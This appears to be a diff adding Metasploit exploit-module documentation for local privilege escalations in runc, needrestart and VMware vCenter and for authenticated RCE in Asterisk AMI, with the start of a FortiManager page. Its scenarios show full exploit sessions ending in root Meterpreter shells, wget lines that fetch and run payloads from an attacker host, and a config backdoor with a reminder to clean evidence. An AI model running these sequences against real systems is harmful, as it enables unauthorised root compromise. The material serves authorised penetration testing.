+[*] #7 exporting layers 0.0s done
+[*] #7 writing image sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 done
+[*] #7 DONE 0.1s
+[*] Removing created docker image 6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
+[*] Deleted: sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
+[*] Payload permissions set, executing payload (/tmp/.jwBZNB/.cleXu7)...
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 192.168.20.25
+[+] Deleted /tmp/.jwBZNB/.cleXu7
+[+] Deleted /tmp/.jwBZNB/Dockerfile
+[+] Deleted /tmp/.jwBZNB
+[*] Meterpreter session 2 opened (192.168.20.24:4444 -> 192.168.20.25:43178) at 2024-02-07 01:00:02 -0500
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 192.168.20.25
+OS : Debian 12.4 (Linux 6.1.0-17-amd64)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+```
+
+### Arch
+
+```
+[msf](Jobs:2 Agents:1) exploit(linux/local/runc_cwd_priv_esc) > exploit
+[*] Started reverse TCP handler on 1.1.1.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The target is not exploitable. Check method only available for Debian/Ubuntu systems ForceExploit is enabled, proceeding with exploitation.
+[*] Creating directory /home/user/.mpjj2xVK6
+[*] /home/user/.mpjj2xVK6 created
+[*] Uploading Payload to /home/user/.mpjj2xVK6/.bXnmZ47
+[*] Uploading Dockerfile to /home/user/.mpjj2xVK6/Dockerfile
+RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
+[*] Building from Dockerfile to set our payload permissions
+[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
+[*] Install the buildx component to build images with BuildKit:
+[*] https://docs.docker.com/go/buildx/
+[*]
+[*] Sending build context to Docker daemon 3.072kB
+[*] Step 1/3 : FROM alpine:latest
+[*] ---> 4048db5d3672
+[*] Step 2/3 : WORKDIR /proc/self/fd/8
+[*] ---> Using cache
+[*] ---> 6421d9ffc175
+[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
+[*] ---> Running in 09b17fa56c44
+[*] Removing intermediate container 09b17fa56c44
+[*] ---> 38c39324ec16
+[*] Successfully built 38c39324ec16
+[*] Removing created docker image 38c39324ec16
+[*] Deleted: sha256:38c39324ec1608d06b99c3e17ab5cca6a0bc6bf55a28b71e8622aa97861b4bf6
+true
+-rwsrwxrwx 1 root root 250 Dec 15 12:23 /home/user/.mpjj2xVK6/.bXnmZ47
+[*] Payload permissions set, executing payload (/home/user/.mpjj2xVK6/.bXnmZ47)...
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 2.2.2.2
+[+] Deleted /home/user/.mpjj2xVK6/.bXnmZ47
+[+] Deleted /home/user/.mpjj2xVK6/Dockerfile
+[+] Deleted /home/user/.mpjj2xVK6
+[*] Meterpreter session 11 opened (1.1.1.1:4444 -> 2.2.2.2:57722) at 2024-12-15 07:23:18 -0500
+
+(Meterpreter 11)(/home/user) > getuid
+Server username: root
+```
\ No newline at end of file
diff --git a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md
new file mode 100644
index 000000000000..911e4e8e644a
--- /dev/null
+++ b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md
@@ -0,0 +1,144 @@
+## Vulnerable Application
+
+Local attackers can execute arbitrary code as root by
+tricking needrestart into running the Python interpreter with an
+attacker-controlled PYTHONPATH environment variable.
+
+Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
+
+Exploitation against vulnerable needrestart versions on
+Debian 12 and Fedora 39 were unsuccessful
+however install and run instructions are listed below.
+
+### Debian
+
+Install: `apt-get install needrestart=3.6-4+deb12u1`
+
+Binary location: `/usr/sbin/needrestart`
+
+### Fedora 39
+
+Install: `dnf install needrestart-3.6-9.fc39.noarch`
+
+Binary location: `/usr/sbin/needrestart`
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Get an initial shell
+4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe`
+5. Do: `set lhost `
+6. Do: `set lport `
+7. Do: `set session `
+8. Do: `run`
+9. You should get a root shell.
+
+## Options
+
+### ListenerTimeout
+
+The maximum number of seconds to wait for session. Defaults to `90,000` which is 25hrs.
+
+## Scenarios
+
+### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
+
+Gain initial shell
+
+```
+msf6 > use exploit/multi/script/web_delivery
+998
+run[*] Using configured payload python/meterpreter/reverse_tcp
+msf6 exploit(multi/script/web_delivery) > set target 7
+target => 7
+msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
+payload => linux/x64/meterpreter/reverse_tcp
+msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
+lhost => 1.1.1.1
+msf6 exploit(multi/script/web_delivery) > set lport 4998
+lport => 4998
+msf6 exploit(multi/script/web_delivery) > set srvport 8998
+srvport => 8998
+msf6 exploit(multi/script/web_delivery) > run
+[*] Exploit running as background job 0.
+[*] Exploit completed, but no session was created.
+msf6 exploit(multi/script/web_delivery) >
+[*] Started reverse TCP handler on 1.1.1.1:4998
+[*] Using URL: http://1.1.1.1:8998/dKtdkMS
+[*] Server started.
+[*] Run the following command on the target machine:
+wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown
+[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
+[*] Sending stage (3045380 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500
+
+msf6 exploit(multi/script/web_delivery) > sessions -i 1
+[*] Starting interaction with 1...
+
+meterpreter > getuid
+Server username: h00die
+meterpreter > background
+[*] Backgrounding session 1...
+```
+
+Priv Esc
+
+```
+msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe
+[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp
+payload => linux/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1
+lhost => 1.1.1.1
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977
+lport => 4977
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1
+session => 1
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true
+verbose => true
+msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run
+
+[*] Started reverse TCP handler on 1.1.1.1:4977
+[*] Running automatic check ("set AutoCheck false" to disable)
+
+[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04
+[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ...
+[*] Uploading payload: /tmp/.1K8Hy2tOtq
+[*] Creating directory /tmp/importlib
+[*] /tmp/importlib created
+[*] Uploading c_stub: /tmp/importlib/__init__.so
+[*] Uploading py_script: /tmp/.FzzlJ
+[*] Launching exploit, and waiting for needrestart to run...
+```
+
+On the remote Ubuntu box run `sudo needrestart`
+
+```
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 2.2.2.2
+[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted
+[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
+[*]
+[*] Traceback (most recent call last):
+[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage
+[*] exec(line)
+[*] File "", line 1, in
+[*] ImportError: dynamic module does not define module export function (PyInit_importlib)
+[*]
+[*] Remainder of file ignored
+[*] #########################
+[*]
+[*] Dont mind the error message above
+[*]
+[*] Waiting for needrestart to run...
+[*] Payload owned by: root
+[+] Deleted /tmp/.1K8Hy2tOtq
+[+] Deleted /tmp/.FzzlJ
+[+] Deleted /tmp/importlib
+[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500
+
+meterpreter >
+meterpreter > getuid
+Server username: root
+```
diff --git a/documentation/modules/exploit/linux/local/vcenter_sudo_lpe.md b/documentation/modules/exploit/linux/local/vcenter_sudo_lpe.md
new file mode 100644
index 000000000000..9bf5cb480710
--- /dev/null
+++ b/documentation/modules/exploit/linux/local/vcenter_sudo_lpe.md
@@ -0,0 +1,307 @@
+## Vulnerable Application
+
+VMware vCenter Server < 7.0.3 update R and < 8.0.2 update D
+contains multiple local privilege escalation vulnerabilities
+due to misconfiguration of sudo. An authenticated local user
+with non-administrative privileges may exploit these issues
+to elevate privileges to root on vCenter Server Appliance.
+
+Tested against VMware vCenter Server Appliance 8.0.0.10000 20519528
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Get an initial user level shell
+4. Do: `use exploit/linux/local/vcenter_sudo_lpe`
+5. Do: `set lhost `
+6. Do: `set sessoin `
+7. Do: `run`
+8. You should get a root shell.
+
+## Options
+
+## Scenarios
+
+### VMware vCenter Server Appliance 8.0.0.10000 (VMware-VCSA-all-8.0.0-20519528.iso)
+
+#### `pod` user
+
+Start our first handler
+
+```
+[msf](Jobs:0 Agents:0) > use exploit/multi/script/web_delivery
+[*] Using configured payload python/meterpreter/reverse_tcp
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set lhost 2.2.2.2
+lhost => 2.2.2.2
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set srvport 8181
+srvport => 8181
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 7
+target => 7
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload payload/linux/x64/meterpreter/reverse_tcp
+payload => linux/x64/meterpreter/reverse_tcp
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > run
+[*] Exploit running as background job 0.
+[*] Exploit completed, but no session was created.
+[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
+[*] Started reverse TCP handler on 2.2.2.2:4444
+[*] Using URL: http://2.2.2.2:8181/wS8RErnHVLh
+[*] Server started.
+[*] Run the following command on the target machine:
+wget -qO 5Y0wnQU5 --no-check-certificate http://2.2.2.2:8181/wS8RErnHVLh; chmod +x 5Y0wnQU5; ./5Y0wnQU5& disown
+```
+
+Setup, SSH in, start a shell, allow `pod` login access, then change user and start our payload.
+
+```
+PS C:\Users\h00die> ssh root@1.1.1.1
+
+VMware vCenter Server Appliance 8.0.0.10000
+
+(root@1.1.1.1) Password:
+Connected to service
+
+ * List APIs: "help api list"
+ * List Plugins: "help pi list"
+ * Launch BASH: "shell"
+
+Command> api com.vmware.appliance.version1.system.version.get
+Version:
+ Version: 8.0.0.10000
+ Product: VMware vCenter Server
+ Build: 20519528
+ Type: ''
+ Summary: VMware vCenter Server 8.0
+ Releasedate: October 11, 2022
+ Installtime: ''
+
+Command> shell
+Shell access is granted to root
+root@localhost [ ~ ]# usermod -s /bin/bash pod
+/usr/sbin/usermod.bk -s /bin/bash pod
+root@localhost [ ~ ]# su pod
+pod@localhost [ /root ]$ cd /tmp
+pod@localhost [ /tmp ]$ wget -qO smswhnVK --no-check-certificate http://2.2.2.2:8181/xLaIAPnwiuPr9; chmod +x smswhnVK; ./smswhnVK& disown
+[1] 22325
+```
+
+Priv Esc. Autocheck disabled due to an incomplete install.
+
+```
+[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
+[*] Starting interaction with 1...
+
+(Meterpreter 1)(/tmp) > getuid
+Server username: pod
+(Meterpreter 1)(/tmp) > background
+[*] Backgrounding session 1...
+[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_sudo_lpe
+[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set session 1
+session => 1
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set verbose true
+verbose => true
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set lport 9879
+lport => 9879
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set autocheck false
+autocheck => false
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > run
+
+[*] Started reverse TCP handler on 2.2.2.2:9879
+[!] AutoCheck is disabled, proceeding with exploitation
+[*] Utilizing VMWARE_PYTHON_PATH exploitation method for pod user.
+[*] Creating directory /tmp/appliance
+[*] /tmp/appliance created
+[*] Writing '/tmp/appliance/9OP6wIQJl9' (250 bytes) ...
+[*] Launching exploit...
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 1.1.1.1
+[+] Deleted /tmp/appliance/9OP6wIQJl9
+[+] Deleted /tmp/appliance/__init__.py
+[+] Deleted /tmp/appliance
+[*] Meterpreter session 2 opened (2.2.2.2:9879 -> 1.1.1.1:34894) at 2024-11-18 07:24:13 -0500
+
+(Meterpreter 2)(/tmp) > getuid
+Server username: root
+(Meterpreter 2)(/tmp) > background
+[*] Backgrounding session 2...
+[msf](Jobs:1 Agents:2) exploit(linux/local/vcenter_sudo_lpe) > sessions -i 1
+[*] Starting interaction with 1...
+
+(Meterpreter 1)(/tmp) > getuid
+Server username: pod
+```
+
+#### Operator Group
+
+If the user `mal` exists, use that. If not, follow the bellow instructions
+
+Make a user in the operator group:
+
+```
+sudo useradd -m -s /bin/bash operator1
+sudo usermod -aG users operator1
+sudo usermod -aG operator operator1
+```
+
+This may be enough, but on my install which didn't complete I had to add the sudo entry manually.
+
+```
+visudo
+```
+
+Add the following at the end:
+
+```
+User_Alias PYTHON_USERS = operator1
+Defaults:PYTHON_USERS env_keep += "PYTHONPATH"
+```
+
+Start our first handler
+
+```
+[msf](Jobs:0 Agents:0) > use exploit/multi/script/web_delivery
+[*] Using configured payload python/meterpreter/reverse_tcp
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set lhost 2.2.2.2
+lhost => 2.2.2.2
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set srvport 8181
+srvport => 8181
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 7
+target => 7
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload payload/linux/x64/meterpreter/reverse_tcp
+payload => linux/x64/meterpreter/reverse_tcp
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > run
+[*] Exploit running as background job 0.
+[*] Exploit completed, but no session was created.
+[*] Started reverse TCP handler on 2.2.2.2:4444
+[*] Using URL: http://2.2.2.2:8181/eEgibKL2K
+[*] Server started.
+[*] Run the following command on the target machine:
+wget -qO JSlY5cPV --no-check-certificate http://2.2.2.2:8181/eEgibKL2K; chmod +x JSlY5cPV; ./JSlY5cPV& disown
+[*] Sending stage (3045380 bytes) to 1.1.1.1
+[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:56166) at 2024-11-18 16:27:17 -0500
+```
+
+Priv Esc. Autocheck disabled due to an incomplete install.
+
+```
+[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_sudo_lpe
+[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
+[msf](Jobs:1 Agents:0) exploit(linux/local/vcenter_sudo_lpe) > set lhost 2.2.2.2
+lhost => 2.2.2.2
+[msf](Jobs:1 Agents:0) exploit(linux/local/vcenter_sudo_lpe) > set lport 9870
+lport => 9870
+[msf](Jobs:1 Agents:0) exploit(linux/local/vcenter_sudo_lpe) > set verbose true
+verbose => true
+[msf](Jobs:1 Agents:0) exploit(linux/local/vcenter_sudo_lpe) > set autocheck false
+autocheck => false
+[msf](Jobs:1 Agents:0) exploit(linux/local/vcenter_sudo_lpe) > set session 1
+session => 1
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > run
+
+[*] Started reverse TCP handler on 2.2.2.2:9870
+[!] AutoCheck is disabled, proceeding with exploitation
+[*] Utilizing PYTHONPATH exploitation method for operator group.
+[*] Writing '/tmp/Ma5gGdnt' (250 bytes) ...
+[*] Launching exploit...
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 1.1.1.1
+[+] Deleted /tmp/Ma5gGdnt
+[+] Deleted /tmp/spwd.py
+[*] Meterpreter session 2 opened (2.2.2.2:9870 -> 1.1.1.1:40550) at 2024-11-18 16:27:28 -0500
+
+
+(Meterpreter 2)(/tmp) >
+(Meterpreter 2)(/tmp) > getuid
+Server username: root
+(Meterpreter 2)(/tmp) > background
+[*] Backgrounding session 2...
+s[msf](Jobs:1 Agents:2) exploit(linux/local/vcenter_sudo_lpe) > sessions -i 1
+[*] Starting interaction with 1...
+
+(Meterpreter 1)(/tmp) > getuid
+Server username: operator1
+```
+
+#### Admin Group
+
+If the user `admin` exists, use that. If not, follow the bellow instructions
+
+Make a user in the operator group:
+
+```
+useradd -m -s /bin/bash admin
+usermod -aG admin admin
+usermod -aG users admin
+```
+
+Start our first handler
+
+```
+[msf](Jobs:0 Agents:0) > use exploit/multi/script/web_delivery
+[*] Using configured payload python/meterpreter/reverse_tcp
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set lhost 2.2.2.2
+lhost => 2.2.2.2
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set srvport 8181
+srvport => 8181
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 7
+target => 7
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload payload/linux/x64/meterpreter/reverse_tcp
+payload => linux/x64/meterpreter/reverse_tcp
+[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > run
+[*] Exploit running as background job 0.
+[*] Exploit completed, but no session was created.
+[*] Started reverse TCP handler on 2.2.2.2:4444
+[*] Using URL: http://2.2.2.2:8181/Hul7qG
+[*] Server started.
+[*] Run the following command on the target machine:
+wget -qO IsMq60f5 --no-check-certificate http://2.2.2.2:8181/Hul7qG; chmod +x IsMq60f5; ./IsMq60f5& disown
+[*] Sending stage (3045380 bytes) to 1.1.1.1
+[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:56166) at 2024-11-18 16:27:17 -0500
+```
+
+Priv Esc
+
+```
+[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_sudo_lpe
+[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set lhost 2.2.2.2
+lhost => 2.2.2.2
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set lport 9870
+lport => 9870
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set verbose true
+verbose => true
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set autocheck false
+autocheck => false
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > set session 1
+session => 1
+[msf](Jobs:1 Agents:1) exploit(linux/local/vcenter_sudo_lpe) > run
+
+[*] Started reverse TCP handler on 2.2.2.2:9870
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] Exploitable version detected: 8.0.0.20519528
+[+] User is vulnerable
+[+] The target appears to be vulnerable. Version 8.0.0.20519528 and user (admin:["users", "admin"]) are vulnerable
+[*] Utilizing VMWARE_PYTHON_BIN exploitation method for admin group.
+[*] Creating directory /tmp/appliance
+[*] /tmp/appliance created
+[*] Writing '/tmp/appliance/NKdii1ux' (250 bytes) ...
+[*] Launching exploit...
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 1.1.1.1
+[+] Deleted /tmp/appliance/NKdii1ux
+[+] Deleted /tmp/appliance/__init__.py
+[+] Deleted /tmp/appliance
+[*] Meterpreter session 2 opened (2.2.2.2:9870 -> 1.1.1.1:58686) at 2024-11-21 04:00:08 -0500
+
+(Meterpreter 2)(/tmp) > getuid
+Server username: root
+(Meterpreter 2)(/tmp) > background
+[*] Backgrounding session 2...
+s[msf](Jobs:1 Agents:2) exploit(linux/local/vcenter_sudo_lpe) > sessions -i 1
+[*] Starting interaction with 1...
+
+(Meterpreter 1)(/tmp) > getuid
+Server username: admin
+(Meterpreter 1)(/tmp) >
+```
diff --git a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md
new file mode 100644
index 000000000000..5607a45a3d56
--- /dev/null
+++ b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md
@@ -0,0 +1,171 @@
+## Vulnerable Application
+
+On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk
+versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change
+all configuration files in the '/etc/asterisk/' directory. Writing a new extension
+can be created which performs a system command to achieve RCE as the asterisk service
+user (typically asterisk).
+
+Default parking lot in FreePBX is called "Default lot" on the website interface,
+however its actually 'parkedcalls'.
+
+Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.
+
+### Install
+
+One easy method, while outdated, is using the FreePBX ISO.
+
+1. Boot to ISO and install the system. Choose Asterisk 19
+2. Visit the web interface on port 80
+3. Complete initial setup, make sure to not do updates.
+4. login
+5. Click FreePBX Administration
+6. Click the hamburger > Applications > Parking
+7. Check the parking extension and name (`70` and `Default lot` are the defaults)
+8. Login (ssh/local) and edit `/etc/asterisk/manager.conf`
+ 1. Under `[general]`:
+ 1. Change `bindaddr` value to `0.0.0.0`
+ 2. If you'd like to test the version checking, grab admin's secret, and set `permit=0.0.0.0/0.0.0.0`
+ 3. Add the following at the bottom of the file:
+ ```
+[testuser]
+secret=testuser
+write=originate
+permit=0.0.0.0/255.255.255.0
+ ```
+9. reboot box (after boot, it may take SEVERAL minutes for asterisk to come up)
+
+Default parking lot is called "Default lot" in the website interface, however its actually `parkedcalls`
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use exploit/linux/misc/asterisk_ami_originate_auth_rce`
+1. Do: `set rhosts `
+1. Do: `set lhost `
+1. Do: `set username `
+1. Do: `set password `
+1. You should get a shell.
+
+## Options
+
+### CONF
+
+The extensions configuration file location. Defaults to `/etc/asterisk/extensions.conf`
+
+### PARKINGLOT
+
+The extensions and name of the parking lot. Defaults to `70@parkedcalls`
+
+### EXTENSION
+
+The extension number to backdoor. Defaults to a random number between 3-5 digits.
+
+## Scenarios
+
+### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 19
+
+```
+resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce
+[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
+resource (ami.rb)> set rhosts 1.1.1.1
+rhosts => 1.1.1.1
+resource (ami.rb)> set lhost 2.2.2.2
+lhost => 2.2.2.2
+resource (ami.rb)> set username testuser
+username => testuser
+resource (ami.rb)> set password testuser
+password => testuser
+resource (ami.rb)> set verbose true
+verbose => true
+msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls
+parkinglot => 700@parkedcalls
+msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit
+
+[*] Started reverse TCP handler on 2.2.2.2:4444
+[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable)
+[*] 1.1.1.1:5038 - Connecting...
+[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2
+[*] 1.1.1.1:5038 - Authenticating as 'testuser'
+[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved!
+[+] 1.1.1.1:5038 - Authenticated successfully
+[*] 1.1.1.1:5038 - Checking Asterisk version
+[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version
+[*] 1.1.1.1:5038 - Connecting...
+[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 8.0.2
+[*] 1.1.1.1:5038 - Authenticating as 'testuser'
+[+] 1.1.1.1:5038 - Authenticated successfully
+[*] 1.1.1.1:5038 - Using new context name: EfVeZSDeGcn
+[*] 1.1.1.1:5038 - Loading conf file
+[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Setting backdoor
+[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Reloading config
+[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Triggering shellcode
+[*] Sending stage (24772 bytes) to 1.1.1.1
+[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!!
+[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43812) at 2024-11-04 09:09:57 -0500
+
+meterpreter > shell
+Process 5831 created.
+Channel 1 created.
+asterisk -rx "core show version"
+Asterisk 19.8.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 07:07:49 UTC
+cat /etc/schmooze/pbx-version
+12.7.8-2302-1.sng7
+```
+
+### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 18
+
+```
+resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce
+[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
+resource (ami.rb)> set rhosts 1.1.1.1
+rhosts => 1.1.1.1
+resource (ami.rb)> set lhost 2.2.2.2
+lhost => 2.2.2.2
+resource (ami.rb)> set username testuser
+username => testuser
+resource (ami.rb)> set password testuser
+password => testuser
+resource (ami.rb)> set verbose true
+verbose => true
+msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls
+parkinglot => 700@parkedcalls
+msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit
+
+[*] Started reverse TCP handler on 2.2.2.2:4444
+[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable)
+[*] 1.1.1.1:5038 - Connecting...
+[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3
+[*] 1.1.1.1:5038 - Authenticating as 'testuser'
+[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved!
+[+] 1.1.1.1:5038 - Authenticated successfully
+[*] 1.1.1.1:5038 - Checking Asterisk version
+[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version
+[*] 1.1.1.1:5038 - Connecting...
+[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3
+[*] 1.1.1.1:5038 - Authenticating as 'testuser'
+[+] 1.1.1.1:5038 - Authenticated successfully
+[*] 1.1.1.1:5038 - Using new context name: fSvWOLdAx
+[*] 1.1.1.1:5038 - Loading conf file
+[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Setting backdoor
+[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Reloading config
+[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued
+[*] 1.1.1.1:5038 - Triggering shellcode
+[*] Sending stage (24772 bytes) to 1.1.1.1
+[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!!
+[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:53468) at 2024-11-04 09:37:35 -0500
+
+meterpreter > shell
+Process 3977 created.
+Channel 1 created.
+asterisk -rx "core show version"
+Asterisk 18.16.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 06:50:30 UTC
+cat /etc/schmooze/pbx-version
+12.7.8-2302-1.sng7
+```
\ No newline at end of file
diff --git a/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md
new file mode 100644
index 000000000000..7ec1f644ec81
--- /dev/null
+++ b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md
@@ -0,0 +1,146 @@
+## Vulnerable Application
+This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager
+Cloud devices to achieve unauthenticated RCE with root privileges.
+
+For a full technical analysis, please see our
+AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis).
+
+The vulnerable FortiManager versions are:
+* 7.6.0
+* 7.4.0 through 7.4.4
+* 7.2.0 through 7.2.7
+* 7.0.0 through 7.0.12
+* 6.4.0 through 6.4.14
+* 6.2.0 through 6.2.12
+
+The vulnerable FortiManager Cloud versions are:
+* 7.4.1 through 7.4.4
+* 7.2.1 through 7.2.7
+* 7.0.1 through 7.0.12
+* 6.4 (all versions).
+
+## Testing
+You will need to acquire a firmware image for a suitable version of FortiManager. For example, to deploy FortiManager
+`7.6.0` as a VM on HyperV, download the file `FMG_VM64_HV-v7.6.0.F-build3340-FORTINET.out.hyperv.zip`.
